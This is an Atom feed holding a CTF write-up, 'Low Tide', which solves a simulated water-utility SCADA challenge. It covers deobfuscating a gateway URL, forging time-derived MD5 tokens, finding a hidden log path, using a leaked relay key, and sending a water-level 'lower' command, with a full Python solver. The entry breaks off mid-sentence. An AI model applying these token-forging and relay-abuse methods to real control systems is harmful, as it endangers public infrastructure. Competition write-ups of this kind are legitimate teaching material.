<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xml" href="https://m0rpheus.tech/feed.xslt.xml"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://m0rpheus.tech/feed.xml" rel="self" type="application/atom+xml" /><link href="https://m0rpheus.tech/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-09-28T19:48:42+00:00</updated><id>https://m0rpheus.tech/feed.xml</id><title type="html">m0rpheus</title><subtitle>CTF writeups — binary exploitation, reverse engineering, web, crypto and forensics, solved start to flag.</subtitle><author><name>m0rpheus</name><email>ghassenboulares7@gmail.com</email></author><entry><title type="html">Low Tide</title><link href="https://m0rpheus.tech/posts/low-tide/" rel="alternate" type="text/html" title="Low Tide" /><published>2026-09-21T18:35:51+00:00</published><updated>2026-09-21T18:35:51+00:00</updated><id>https://m0rpheus.tech/posts/low-tide</id><content type="html" xml:base="https://m0rpheus.tech/posts/low-tide/"><![CDATA[<p>The service emits it uppercase (<code class="language-plaintext highlighter-rouge">csaw{REDACTED}</code>); submit lowercase to match the
CTF’s flag format.</p>

<blockquote>
  <p><em>A water treatment utility’s remote monitoring system has been left online with
an old technician login page still reachable. The login does not work anymore,
but the page was never actually taken down.</em></p>
</blockquote>

<p>A five-stage chain: deobfuscate a JS gateway address → forge a time-derived
gateway token → walk a virtual filesystem → authenticate to a chat bridge with a
second token scheme → issue a SCADA control command through a relay proxy.</p>

<hr />

<h2 id="0-architecture">0. Architecture</h2>

<table>
  <thead>
    <tr>
      <th>Component</th>
      <th>Host</th>
      <th>Role</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Frontend</td>
      <td><code class="language-plaintext highlighter-rouge">low-tide.ctf.csaw.io</code></td>
      <td>static Nginx — the decoy login page</td>
    </tr>
    <tr>
      <td>Backend</td>
      <td><code class="language-plaintext highlighter-rouge">low-tide-lb.ctf.csaw.io</code></td>
      <td>Gunicorn/Flask — all real behaviour</td>
    </tr>
    <tr>
      <td>ALB</td>
      <td><code class="language-plaintext highlighter-rouge">web-alb-prod-680046691.us-east-1.elb.amazonaws.com</code></td>
      <td>both names resolve here</td>
    </tr>
  </tbody>
</table>

<p>Only <code class="language-plaintext highlighter-rouge">/station/checkin/...</code> is routed to Flask. Bare <code class="language-plaintext highlighter-rouge">/api/v1</code> or <code class="language-plaintext highlighter-rouge">/api/v2</code>
prefixes on the LB host return Flask 404 — every API call must be nested under
<code class="language-plaintext highlighter-rouge">/station/checkin/</code>.</p>

<p><strong>Four simulated station workers</strong> sit behind the ALB, each with its own
baseline clock:</p>

<table>
  <thead>
    <tr>
      <th>Station</th>
      <th>Baseline date</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>st-01</td>
      <td>2018-07-12</td>
    </tr>
    <tr>
      <td>st-02</td>
      <td>2015-06-10</td>
    </tr>
    <tr>
      <td>st-03</td>
      <td>2016-08-20</td>
    </tr>
    <tr>
      <td>st-04</td>
      <td>2019-03-15</td>
    </tr>
  </tbody>
</table>

<p><strong>Only st-04 serves the relay route.</strong> This matters enormously — see §7.</p>

<hr />

<h2 id="1-frontend-deobfuscation">1. Frontend deobfuscation</h2>

<p>The landing page is static and its login form is inert (POST returns Nginx 405).
The real target is what <code class="language-plaintext highlighter-rouge">assets/app.js</code> reaches in the background.</p>

<h3 id="11-the-gateway-address-rot47--hex--ascii">1.1 The gateway address (ROT47 → hex → ASCII)</h3>

<p><code class="language-plaintext highlighter-rouge">app.js</code> contains a blob that is <strong>not</strong> plaintext:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>4@?DE vp%t(p* lQ9EEADi^^=@H\E:56\=3]4E7]4D2H]:@^DE2E:@?^4964&lt;:?Q
</code></pre></div></div>

<p>ROT47 (rotate printable ASCII 33–126 by 47) decodes it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">rot47</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
    <span class="k">return</span> <span class="sh">""</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nf">chr</span><span class="p">(</span><span class="mi">33</span> <span class="o">+</span> <span class="p">((</span><span class="nf">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">-</span> <span class="mi">33</span> <span class="o">+</span> <span class="mi">47</span><span class="p">)</span> <span class="o">%</span> <span class="mi">94</span><span class="p">))</span> <span class="k">if</span> <span class="mi">33</span> <span class="o">&lt;=</span> <span class="nf">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">126</span> <span class="k">else</span> <span class="n">c</span>
                   <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">s</span><span class="p">)</span>
</code></pre></div></div>

<p>Yielding:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">GATEWAY</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://low-tide-lb.ctf.csaw.io/station/checkin</span><span class="dl">"</span><span class="p">;</span>
</code></pre></div></div>

<p>Some copies of the payload carry a hex-encoded tail; decode hex first, then
ROT47. A corrupted prefix on the first decode attempt is a common stumbling
block — verify the result parses as a valid URL before trusting it.</p>

<h3 id="12-the-required-user-agent">1.2 The required User-Agent</h3>

<p><code class="language-plaintext highlighter-rouge">app.js</code> declares <code class="language-plaintext highlighter-rouge">const REQUIRED_AGENT =</code> and leaves it <strong>blank</strong>. The value
comes from <code class="language-plaintext highlighter-rouge">robots.txt</code>, which carries five candidates in comments:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>StationSync-Agent/2.1
FieldSync-Client/3.0
MonitorAgent/2.2
StationSync-Agent/2.0
RelayCheck-Bot/1.9
</code></pre></div></div>

<p>Only <code class="language-plaintext highlighter-rouge">StationSync-Agent/2.1</code> is accepted. The others (notably
<code class="language-plaintext highlighter-rouge">RelayCheck-Bot/1.9</code>) receive <strong>no session cookie</strong> and see only a frozen legacy
clock at <code class="language-plaintext highlighter-rouge">2019-01-02T03:14:07Z</code> — a decoy, not a second auth path.</p>

<h3 id="13-renderstatus-red-herring">1.3 <code class="language-plaintext highlighter-rouge">renderStatus</code> (red herring)</h3>

<p>The function is obfuscated by <strong>even/odd character interleaving</strong>: characters at
even indices form one line, odd indices the other. Deinterleaving yields
ordinary DOM code touching <code class="language-plaintext highlighter-rouge">status-light</code> / <code class="language-plaintext highlighter-rouge">status-text</code>. No secrets.</p>

<h3 id="14-robotstxt-disallow-entries-red-herring">1.4 robots.txt disallow entries (red herring)</h3>

<p><code class="language-plaintext highlighter-rouge">/internal-monitor/</code> and <code class="language-plaintext highlighter-rouge">/relay-status/</code> are Nginx 404s on the frontend and
<code class="language-plaintext highlighter-rouge">not_found</code> through the authenticated filesystem. Dead ends.</p>

<hr />

<h2 id="2-gateway-authentication">2. Gateway authentication</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /station/checkin
User-Agent: StationSync-Agent/2.1
action=checkin
</code></pre></div></div>

<p>Sets a 16-hex-character <code class="language-plaintext highlighter-rouge">sid</code> cookie and pins the connection to one worker.
Sending <code class="language-plaintext highlighter-rouge">action=checkin&amp;token=probe</code> returns the worker’s simulated clock:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"reason"</span><span class="p">:</span><span class="s2">"code_mismatch: expected token derived from current sync time"</span><span class="p">,</span><span class="w">
 </span><span class="nl">"result"</span><span class="p">:</span><span class="s2">"rejected"</span><span class="p">,</span><span class="nl">"sync_time"</span><span class="p">:</span><span class="s2">"2019-03-15T16:35:32Z"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The clock advances in real time from its fake baseline. The token is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>token = md5(sid + str(int(unix_epoch_of_station_sync_time)))
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">hashlib</span><span class="p">,</span> <span class="n">datetime</span>
<span class="n">ep</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="nf">strptime</span><span class="p">(</span><span class="n">sync_time</span><span class="p">,</span> <span class="sh">"</span><span class="s">%Y-%m-%dT%H:%M:%SZ</span><span class="sh">"</span><span class="p">)</span>
         <span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="n">tzinfo</span><span class="o">=</span><span class="n">datetime</span><span class="p">.</span><span class="n">UTC</span><span class="p">).</span><span class="nf">timestamp</span><span class="p">())</span>
<span class="n">token</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">md5</span><span class="p">((</span><span class="n">sid</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">ep</span><span class="p">)).</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()</span>
</code></pre></div></div>

<p>Accepted response:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"result"</span><span class="p">:</span><span class="s2">"accepted"</span><span class="p">,</span><span class="nl">"role"</span><span class="p">:</span><span class="s2">"system_check"</span><span class="p">,</span><span class="nl">"station_id"</span><span class="p">:</span><span class="s2">"st-04"</span><span class="p">,</span><span class="w">
 </span><span class="nl">"directory_api"</span><span class="p">:</span><span class="s2">"/api/v1/st-04/"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>This token is used for every subsequent call and must be regenerated each
time</strong> — the clock moves, so a token is valid for roughly one second.</p>

<hr />

<h2 id="3-virtual-filesystem">3. Virtual filesystem</h2>

<p>Reachable at <code class="language-plaintext highlighter-rouge">/station/checkin/api/v1/&lt;station_id&gt;/&lt;path&gt;</code>, POST form with
<code class="language-plaintext highlighter-rouge">action=checkin</code> + a fresh token. A bare GET returns <code class="language-plaintext highlighter-rouge">unsupported_action</code>.
Rate limited: HTTP 429 with <code class="language-plaintext highlighter-rouge">retry_after: 5</code>.</p>

<p>The tree is identical on all four stations.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/                        {"entries":["station.log","config/"],"type":"directory"}
/station.log
/config/                 {"entries":["sync.conf","relay-bot.js","relay_chat.js"]}
/.logs/                  {"entries":["err_3005.log"]}     &lt;-- NOT in any listing
</code></pre></div></div>

<p><strong>Key trick:</strong> <code class="language-plaintext highlighter-rouge">.logs/</code> never appears in a directory listing. It is discoverable
only because <code class="language-plaintext highlighter-rouge">station.log</code> names it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[st-04] routine check-in ok
[st-04] heartbeat nominal
[st-04] disk usage 34%
[st-04] cron: backup job completed
[st-04] WARN: stale handler dump written to .logs/err_3005.log
[st-04] heartbeat nominal
</code></pre></div></div>

<p>Follow the breadcrumbs:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">.logs/err_3005.log</code> → <code class="language-plaintext highlighter-rouge">chat bridge relocated: config/relay_chat.js</code></li>
  <li><code class="language-plaintext highlighter-rouge">config/relay-bot.js</code> (base64) →
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// integration failed</span>
<span class="c1">// see error 3005 in logs</span>
<span class="c1">// token rotation broke auth</span>
</code></pre></div>    </div>
    <p><em>(The “token rotation” line is a red herring — it lures you into brute-forcing
rotating token schemes for the relay. The relay does not use one.)</em></p>
  </li>
  <li><code class="language-plaintext highlighter-rouge">config/relay_chat.js</code> →
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// chat bridge moved here after the v1 migration</span>
<span class="c1">// endpoint: v2/chat</span>
<span class="c1">// see sync.conf for the auth handshake, never finished porting it over</span>
</code></pre></div>    </div>
  </li>
  <li><code class="language-plaintext highlighter-rouge">config/sync.conf</code> →
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chat bridge auth: Authorization: Bot &lt;token&gt;
token=md5(station_id+MMM+DD+YY+HH+MM) all lowercase/zero-padded, e.g. mar05191324
params: id=&lt;message id, batch of 5&gt;
</code></pre></div>    </div>
  </li>
</ul>

<p>Exhaustive search for relay documentation (<code class="language-plaintext highlighter-rouge">config/relay.conf</code>,
<code class="language-plaintext highlighter-rouge">config/.relay/</code>, <code class="language-plaintext highlighter-rouge">.config/</code>, <code class="language-plaintext highlighter-rouge">config/control.conf</code>, …) returns <code class="language-plaintext highlighter-rouge">not_found</code>.
<strong>The relay handshake is deliberately undocumented</strong> — unlike the chat bridge.</p>

<hr />

<h2 id="4-chat-bridge">4. Chat bridge</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /station/checkin/api/v2/chat?id=&lt;n&gt;
Authorization: Bot &lt;md5(station_id + strftime("%b%d%y%H%M").lower())&gt;
</code></pre></div></div>

<p>e.g. <code class="language-plaintext highlighter-rouge">md5("st-04mar15191834")</code>. Returns batches of 5 starting at <code class="language-plaintext highlighter-rouge">id</code>. 60
messages total; 5-second throttle. <code class="language-plaintext highlighter-rouge">id=61</code> → <code class="language-plaintext highlighter-rouge">invalid_id</code>; <code class="language-plaintext highlighter-rouge">id=0</code>/<code class="language-plaintext highlighter-rouge">-1</code> are
indexing quirks returning the first batch, not a pre-retention archive.</p>

<p>The archive is read-only — posting control verbs returns <code class="language-plaintext highlighter-rouge">unsupported_action</code>.
Messages 45–60 carry everything needed:</p>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Content</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>45–46</td>
      <td>plan to wire system health checks into an admin control panel</td>
    </tr>
    <tr>
      <td><strong>49</strong></td>
      <td>“we’re only exposing <strong>raise and lower</strong> on the water level” (pump on/off not exposed)</td>
    </tr>
    <tr>
      <td><strong>53</strong></td>
      <td>“I’ll wire the relay through <strong>station 4</strong>, it’s the only one with the proxy route set up”</td>
    </tr>
    <tr>
      <td><strong>55</strong></td>
      <td>“yeah, <strong>4f9a-77c2-e01d</strong>, admin box is at <strong>10.10.14.31</strong> same as always”</td>
    </tr>
    <tr>
      <td><strong>56</strong></td>
      <td>“if the level swings too far either direction the system throws a <strong>hard alarm</strong>, so don’t test with big values unless you mean it”</td>
    </tr>
    <tr>
      <td>57</td>
      <td>“don’t want to be the guy who floods or drains the tank testing a raise/lower endpoint”</td>
    </tr>
  </tbody>
</table>

<p>Message 56 is the win condition stated as a warning.</p>

<hr />

<h2 id="5-the-relay">5. The relay</h2>

<p>Route: <code class="language-plaintext highlighter-rouge">POST /station/checkin/relay</code> — <strong>no trailing slash</strong>. <code class="language-plaintext highlighter-rouge">/relay/</code> is not a
route.</p>

<h3 id="51-mapping-the-gates">5.1 Mapping the gates</h3>

<p>Each gate is a distinct rejection reason, which lets you bisect the request
shape:</p>

<table>
  <thead>
    <tr>
      <th>Request state</th>
      <th>Response</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>wrong worker (st-01/02/03)</td>
      <td><code class="language-plaintext highlighter-rouge">unsupported_action</code></td>
    </tr>
    <tr>
      <td>no <code class="language-plaintext highlighter-rouge">X-Relay-Target</code></td>
      <td><code class="language-plaintext highlighter-rouge">invalid_relay_target</code></td>
    </tr>
    <tr>
      <td>target present, no <code class="language-plaintext highlighter-rouge">cmd</code></td>
      <td><code class="language-plaintext highlighter-rouge">invalid_command</code></td>
    </tr>
    <tr>
      <td>bad/stale gateway token</td>
      <td><code class="language-plaintext highlighter-rouge">code_mismatch</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cmd</code> valid, key missing/wrong</td>
      <td><code class="language-plaintext highlighter-rouge">relay_auth_failed</code></td>
    </tr>
    <tr>
      <td>everything correct</td>
      <td><code class="language-plaintext highlighter-rouge">accepted</code> + <code class="language-plaintext highlighter-rouge">relay{}</code> object</td>
    </tr>
  </tbody>
</table>

<h3 id="52-the-working-request">5.2 The working request</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/station/checkin/relay</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">low-tide-lb.ctf.csaw.io</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">StationSync-Agent/2.1</span>
<span class="na">X-Relay-Target</span><span class="p">:</span> <span class="s">http://10.10.14.31/</span>
<span class="na">X-Relay-Key</span><span class="p">:</span> <span class="s">4f9a-77c2-e01d</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">sid=&lt;session sid&gt;</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>

action=checkin&amp;token=&lt;md5(sid+station_epoch)&gt;&amp;cmd=CMD:WATER:LOWER:50
</code></pre></div></div>

<p>Three non-obvious requirements:</p>

<ol>
  <li><strong><code class="language-plaintext highlighter-rouge">action</code> stays <code class="language-plaintext highlighter-rouge">checkin</code>.</strong> <code class="language-plaintext highlighter-rouge">action=raise</code>/<code class="language-plaintext highlighter-rouge">lower</code>/<code class="language-plaintext highlighter-rouge">control</code> are <em>invalid
actions</em> that divert into a branch which never reaches the token check.</li>
  <li><strong>The control instruction goes in <code class="language-plaintext highlighter-rouge">cmd</code></strong>, colon-delimited:
<code class="language-plaintext highlighter-rouge">CMD:WATER:LOWER:&lt;magnitude&gt;</code>. Not <code class="language-plaintext highlighter-rouge">command</code>, not <code class="language-plaintext highlighter-rouge">action</code>.</li>
  <li><strong>The relay key is a header.</strong> <code class="language-plaintext highlighter-rouge">X-Relay-Key</code>. As form <code class="language-plaintext highlighter-rouge">key</code> / <code class="language-plaintext highlighter-rouge">relay_key</code> /
<code class="language-plaintext highlighter-rouge">code</code> / <code class="language-plaintext highlighter-rouge">auth</code>, or as <code class="language-plaintext highlighter-rouge">Authorization: Bot|Relay &lt;key&gt;</code>, it fails.</li>
</ol>

<p>The target must also be a header (<code class="language-plaintext highlighter-rouge">X-Relay-Target</code>); as a form field the request
stays at <code class="language-plaintext highlighter-rouge">invalid_relay_target</code>.</p>

<h3 id="53-response">5.3 Response</h3>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"relay"</span><span class="p">:{</span><span class="nl">"alarm"</span><span class="p">:</span><span class="s2">"LOW LEVEL"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"flag"</span><span class="p">:</span><span class="s2">"csaw{REDACTED}"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"status"</span><span class="p">:</span><span class="s2">"critical"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"water_level"</span><span class="p">:</span><span class="mi">20</span><span class="p">},</span><span class="w">
 </span><span class="nl">"result"</span><span class="p">:</span><span class="s2">"accepted"</span><span class="p">,</span><span class="nl">"role"</span><span class="p">:</span><span class="s2">"system_check"</span><span class="p">,</span><span class="nl">"station_id"</span><span class="p">:</span><span class="s2">"st-04"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Lowering the tank drives <code class="language-plaintext highlighter-rouge">water_level</code> to 20, trips the <strong>LOW LEVEL</strong> alarm, and
releases the flag — the behaviour message 56 warned about, and the reason the
challenge is called <em>Low Tide</em>.</p>

<hr />

<h2 id="6-full-solver">6. Full solver</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">requests</span><span class="p">,</span> <span class="n">hashlib</span><span class="p">,</span> <span class="n">time</span><span class="p">,</span> <span class="n">datetime</span>

<span class="n">LB</span>  <span class="o">=</span> <span class="sh">"</span><span class="s">https://low-tide-lb.ctf.csaw.io</span><span class="sh">"</span>
<span class="n">UA</span>  <span class="o">=</span> <span class="sh">"</span><span class="s">StationSync-Agent/2.1</span><span class="sh">"</span>
<span class="n">KEY</span> <span class="o">=</span> <span class="sh">"</span><span class="s">4f9a-77c2-e01d</span><span class="sh">"</span>
<span class="n">HDR</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">X-Relay-Target</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">http://10.10.14.31/</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">X-Relay-Key</span><span class="sh">"</span><span class="p">:</span> <span class="n">KEY</span><span class="p">}</span>

<span class="k">class</span> <span class="nc">Station</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nc">Session</span><span class="p">()</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sh">"</span><span class="s">User-Agent</span><span class="sh">"</span><span class="p">]</span> <span class="o">=</span> <span class="n">UA</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sid</span> <span class="o">=</span> <span class="bp">None</span>

    <span class="k">def</span> <span class="nf">post</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">tries</span><span class="o">=</span><span class="mi">8</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="n">tries</span><span class="p">):</span>
            <span class="n">r</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">LB</span><span class="si">}{</span><span class="n">path</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span> <span class="ow">or</span> <span class="p">{},</span>
                            <span class="n">headers</span><span class="o">=</span><span class="n">headers</span> <span class="ow">or</span> <span class="p">{},</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">25</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">429</span><span class="p">:</span>                  <span class="c1"># honour the throttle
</span>                <span class="k">try</span><span class="p">:</span>   <span class="n">w</span> <span class="o">=</span> <span class="nf">float</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="nf">json</span><span class="p">().</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">retry_after</span><span class="sh">"</span><span class="p">,</span> <span class="mi">5</span><span class="p">))</span>
                <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span> <span class="n">w</span> <span class="o">=</span> <span class="mi">5</span>
                <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="n">w</span> <span class="o">+</span> <span class="mf">0.4</span><span class="p">);</span> <span class="k">continue</span>
            <span class="k">return</span> <span class="n">r</span>
        <span class="k">return</span> <span class="n">r</span>

    <span class="k">def</span> <span class="nf">boot</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sh">"</span><span class="s">/station/checkin</span><span class="sh">"</span><span class="p">,</span> <span class="p">{</span><span class="sh">"</span><span class="s">action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">checkin</span><span class="sh">"</span><span class="p">})</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sid</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">sid</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">station_epoch</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">j</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sh">"</span><span class="s">/station/checkin</span><span class="sh">"</span><span class="p">,</span>
                      <span class="p">{</span><span class="sh">"</span><span class="s">action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">checkin</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">token</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">probe</span><span class="sh">"</span><span class="p">}).</span><span class="nf">json</span><span class="p">()</span>
        <span class="n">t</span> <span class="o">=</span> <span class="n">j</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">sync_time</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">t</span><span class="p">:</span> <span class="k">return</span> <span class="bp">None</span>
        <span class="k">return</span> <span class="nf">int</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="nf">strptime</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="sh">"</span><span class="s">%Y-%m-%dT%H:%M:%SZ</span><span class="sh">"</span><span class="p">)</span>
                   <span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="n">tzinfo</span><span class="o">=</span><span class="n">datetime</span><span class="p">.</span><span class="n">UTC</span><span class="p">).</span><span class="nf">timestamp</span><span class="p">())</span>

    <span class="k">def</span> <span class="nf">token</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">md5</span><span class="p">((</span><span class="n">self</span><span class="p">.</span><span class="n">sid</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">station_epoch</span><span class="p">())).</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">auth</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">self</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sh">"</span><span class="s">/station/checkin</span><span class="sh">"</span><span class="p">,</span>
                         <span class="p">{</span><span class="sh">"</span><span class="s">action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">checkin</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">token</span><span class="sh">"</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">token</span><span class="p">()}).</span><span class="nf">json</span><span class="p">()</span>

<span class="c1"># Only st-04 serves the relay; the ALB assigns a worker per connection,
# so keep opening sessions until one lands on st-04.
</span><span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">st</span> <span class="o">=</span> <span class="nc">Station</span><span class="p">();</span> <span class="n">st</span><span class="p">.</span><span class="nf">boot</span><span class="p">()</span>
    <span class="k">if</span> <span class="n">st</span><span class="p">.</span><span class="nf">auth</span><span class="p">().</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">station_id</span><span class="sh">"</span><span class="p">)</span> <span class="o">==</span> <span class="sh">"</span><span class="s">st-04</span><span class="sh">"</span><span class="p">:</span>
        <span class="k">break</span>
    <span class="n">time</span><span class="p">.</span><span class="nf">sleep</span><span class="p">(</span><span class="mf">1.5</span><span class="p">)</span>

<span class="n">r</span> <span class="o">=</span> <span class="n">st</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sh">"</span><span class="s">/station/checkin/relay</span><span class="sh">"</span><span class="p">,</span>
            <span class="p">{</span><span class="sh">"</span><span class="s">action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">checkin</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">token</span><span class="sh">"</span><span class="p">:</span> <span class="n">st</span><span class="p">.</span><span class="nf">token</span><span class="p">(),</span>
             <span class="sh">"</span><span class="s">cmd</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">CMD:WATER:LOWER:50</span><span class="sh">"</span><span class="p">},</span> <span class="n">HDR</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">status_code</span><span class="p">,</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>

<hr />

<h2 id="7-pitfalls-that-cost-the-most-time">7. Pitfalls that cost the most time</h2>

<h3 id="71-station-drift-silently-changes-the-answer">7.1 Station drift silently changes the answer</h3>

<p>Only st-04 serves the relay. The other three workers answer the <strong>identical
request</strong> with <code class="language-plaintext highlighter-rouge">unsupported_action</code>. The ALB assigns a worker per connection and
<code class="language-plaintext highlighter-rouge">requests.Session</code> keep-alive does <strong>not</strong> reliably pin one.</p>

<p>Observed live, within a single session object:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>action=lower                    code_mismatch        [after = st-04 lost]
action=lower value=50           unsupported_action   [after = st-03]   &lt;- never reached the relay
action=control command=lower    unsupported_action   [after = st-03]   &lt;- never reached the relay
</code></pre></div></div>

<p>Two probes were logged as “parameter doesn’t work” when they had in fact
executed against a station with no relay route at all.</p>

<p><strong>Rule:</strong> <code class="language-plaintext highlighter-rouge">unsupported_action</code> means <em>wrong worker — retry</em>, never <em>wrong
parameter</em>. Confirm <code class="language-plaintext highlighter-rouge">station_id == "st-04"</code> in the same connection immediately
